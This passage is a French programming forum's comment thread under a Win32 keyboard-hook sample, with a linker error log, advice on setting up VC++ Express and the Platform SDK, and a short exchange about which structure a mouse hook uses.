       Création de la bibliothèque .\Debug/HookSansDLL.lib et de l'objet .\Debug/HookSansDLL.exp
    HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__CallNextHookEx@16 référencé dans la fonction "long __stdcall HookProc(int,unsigned int,long)" (?HookProc@@YGJHIJ@Z)
    HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__UnhookWindowsHookEx@4 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
    HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__SetWindowTextA@8 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
    HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__SetWindowsHookExA@16 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
    HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__CreateWindowExA@48 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
    HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__EndDialog@8 référencé dans la fonction "int __stdcall MainDlgProc(struct HWND__ *,unsigned int,unsigned int,long)" (?MainDlgProc@@YGHPAUHWND__@@IIJ@Z)
    HookSansDLL.obj : error LNK2019: symbole externe non résolu __imp__DialogBoxIndirectParamA@20 référencé dans la fonction _WinMain@16
    .\Debug/HookSansDLL.exe : fatal error LNK1120: 7 externes non résolus
    Le journal de génération a été enregistré à l'emplacement "file://c:\Documents and Settings\Admin\Bureau\HookSansDLL\Debug\BuildLog.htm"
    HookSansDLL - 8 erreur(s), 0 avertissement(s)
    ========== Génération : 0 a réussi, 1 a échoué, 0 mis à jour, 0 a été ignoré ==========

    J'ai raté un épisode ou bien y a-til un problème quelque part ?

    Merci pour votre aide.



  • signaler à un administrateur
    Commentaire de BruNews le 08/04/2007 09:33:20 administrateur CS

    Voila le bon tuto pour pose VC++ Express 2005:
    http://www.cppfrance.com/code.aspx?ID=38359
    ne pas oublier la pose du platform SDK, etc... comme expliqué.
    Ensuite c'est un projet 'Win32 App' qu'il faut faire et non de la dotnetterie.
    Compiler en RELEASE pour prog system.

  • signaler à un administrateur
    Commentaire de babaslow le 09/04/2007 04:54:36

    Merci BruNews ;)

  • signaler à un administrateur
    Commentaire de unionx le 03/05/2007 04:35:41

    brrrrrrr :| là c'est vraiment excellent , facile , claire . les commentaires sont bien employé , et avec tt ces questions et ces reponces ca rendre les choses facile .
    racpp et BruNews(Le chat noir ;-) vive l'horreur) 10/10.

  • signaler à un administrateur
    Commentaire de unknow0 le 04/06/2007 17:55:19

    super ça va planter tot ou tard

  • signaler à un administrateur
    Commentaire de damned3 le 20/07/2007 02:01:38

    super pour le hook clavier ca marche nickel !
    par contre pour modifier le code en hook souris la je patine un peu ...
    Je peux mettre un hook souris, ça marche mais ensuite je ne sais pas en
    quelle structure caster le lParam pour obtenir les coordonnées de la souris
    au moment du clic ... (pour le clavier c'est KBDLLHOOKSTRUCT)

    J'ai essayé avec MOUSEDLLHOOKSTRUCT mais ça marche pas ...

    Quelqu'un pourrait éclairer ma lanterne ?

  • signaler à un administrateur
    Commentaire de damned3 le 20/07/2007 02:16:21

    C'est bon jai trouvé...

    Cque je peux etre bete des fois ... c'était MOUSEHOOKSTRUCT ... (sigh)

Ajouter un commentaire

Discussions en rapport avec ce code source